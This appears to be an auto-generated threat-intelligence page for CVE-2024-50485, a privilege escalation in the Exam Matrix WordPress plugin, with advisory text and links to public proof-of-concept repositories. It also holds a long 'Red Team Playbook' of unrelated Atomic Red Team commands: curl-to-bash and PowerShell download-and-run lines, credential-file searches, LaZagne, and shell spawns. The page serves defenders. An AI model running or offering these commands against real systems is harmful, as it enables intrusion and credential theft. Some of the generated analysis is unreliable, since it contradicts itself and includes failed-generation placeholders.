CVE-2024-50485
Overview
The vulnerability is an Incorrect Privilege Assignment in the Udit Rawat Exam Matrix plugin, specifically affecting versions up to and including 1.5. The root cause lies in improper access control mechanisms that fail to correctly restrict privilege levels for certain operations within the exam-matrix component. This flaw allows unauthorized users to escalate their privileges by exploiting insufficient validation of user roles or permissions during request processing.
Vulnerability Description
Incorrect Privilege Assignment vulnerability in Udit Rawat Exam Matrix exam-matrix allows Privilege Escalation.This issue affects Exam Matrix: from n/a through <= 1.5.
Impact
An attacker with no prior authentication or user interaction can exploit this vulnerability to gain elevated privileges within the Exam Matrix plugin environment. This unauthorized privilege escalation can allow the attacker to perform administrative actions, modify exam content or configurations, and potentially compromise the integrity of the exam system. The business impact includes unauthorized access to sensitive exam data, disruption of exam processes, and potential manipulation or deletion of critical information, undermining the trustworthiness of the exam platform.
Solution
Users of Udit Rawat Exam Matrix should upgrade to a version later than 1.5 where this privilege escalation vulnerability is addressed. Detailed remediation guidance and patch availability are documented on Patchstack's advisory page for the Exam Matrix plugin. Administrators are advised to apply the vendor-provided updates promptly to ensure proper privilege enforcement. No alternative workarounds are specified; therefore, upgrading to the fixed version is the recommended course of action.
EPSS vs KEV Prediction — Evolution (30 days)
Overview
Analysis generation failed
Threat Summary
Analysis generation failed
Full Analysis
The vulnerability in the Exam Matrix application arises from an incorrect privilege assignment, which allows users to escalate their privileges beyond what is intended by the system's design. This flaw is particularly critical because it can be exploited by unauthorized users to gain elevated access rights, potentially allowing them to perform actions that should be restricted to administrators or other privileged accounts. The issue is present in versions up to and including 1.5, leaving a significant window of exposure for organizations that have not yet updated their systems. The underlying cause of this vulnerability typically involves improper validation of user roles and permissions, which can lead to a breakdown in the security model of the application.
Attack vectors for this privilege escalation vulnerability can vary, but they generally involve an attacker leveraging their existing access to manipulate the application’s role management features. For instance, an attacker with a standard user account might exploit flaws in the user interface or API to modify their role or access sensitive functionalities. This could be done through direct manipulation of requests sent to the server, or by exploiting weaknesses in the authentication mechanisms that fail to adequately verify user permissions. Additionally, social engineering tactics could be employed to trick legitimate users into executing malicious actions that inadvertently grant elevated privileges to the attacker.
The real-world impact of this vulnerability can be severe, particularly for educational institutions or organizations that rely on the Exam Matrix application for managing examinations and assessments. Unauthorized access to administrative functions could lead to the manipulation of exam results, alteration of user accounts, or even the exposure of sensitive data, such as student records. The potential for reputational damage, legal ramifications, and financial loss is significant, especially in environments where data integrity and confidentiality are paramount. Organizations that fail to address this vulnerability may face compliance issues with data protection regulations, further exacerbating the business risks associated with such an exploit.
To detect this privilege escalation vulnerability, organizations should implement robust logging and monitoring practices that can identify unusual access patterns or changes in user roles. Regular audits of user permissions and access logs can help in identifying any unauthorized privilege changes. Additionally, employing automated security tools that can scan for known vulnerabilities and misconfigurations in the application can provide an added layer of defense.
Mitigation strategies should focus on immediate patching of the affected application version, ensuring that all users are operating on the latest, secure version of the software. Furthermore, organizations should adopt a principle of least privilege, ensuring that users are granted only the permissions necessary for their roles. Implementing multi-factor authentication can also help to strengthen access controls and reduce the risk of unauthorized privilege escalation. Regular security training for users can raise awareness about the risks associated with privilege misuse and the importance of adhering to security protocols. By taking these proactive measures, organizations can significantly reduce their exposure to this critical vulnerability and enhance their overall security posture.
CSURFACE threat intelligence has identified a significant development in the CVE-2024-50485 vulnerability landscape with the emergence of a public proof-of-concept exploit hosted on GitHub. This new availability of exploit code marks a critical shift from theoretical risk to practical threat, substantially increasing the likelihood of active exploitation attempts. Our telemetry indicates a marked escalation in interest and preparatory activity around this vulnerability, reflected in the EPSS score rising to 0.2191, placing it near the top percentile for exploitation probability. The elevation of the CVSS score to 9.8 underscores the critical severity and potential impact of privilege escalation within affected Exam Matrix deployments. This shift intensifies the threat level, signaling that adversaries now have accessible tools to leverage this vulnerability with minimal barriers, thereby accelerating the risk of unauthorized privilege gains. Defenders should recognize that the attack surface has expanded beyond internal discovery to external, automated exploitation attempts, necessitating heightened vigilance in detection and response capabilities.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
PoC
|
- | 0 | 0 | - | View |
|
RandomRobbieBF/CVE-2024-50485
Exam Matrix <= 1.5 - Unauthenticated Privilege Escalation
|
RandomRobbieBF | 0 | 0 | 2024-11-05 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-50485 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/Wordpress/Plugin/exam-matrix/vulnerability/wordpress-exam-matrix-plugin-1-5-privilege-escalation-vulnerability?_s_id=cve |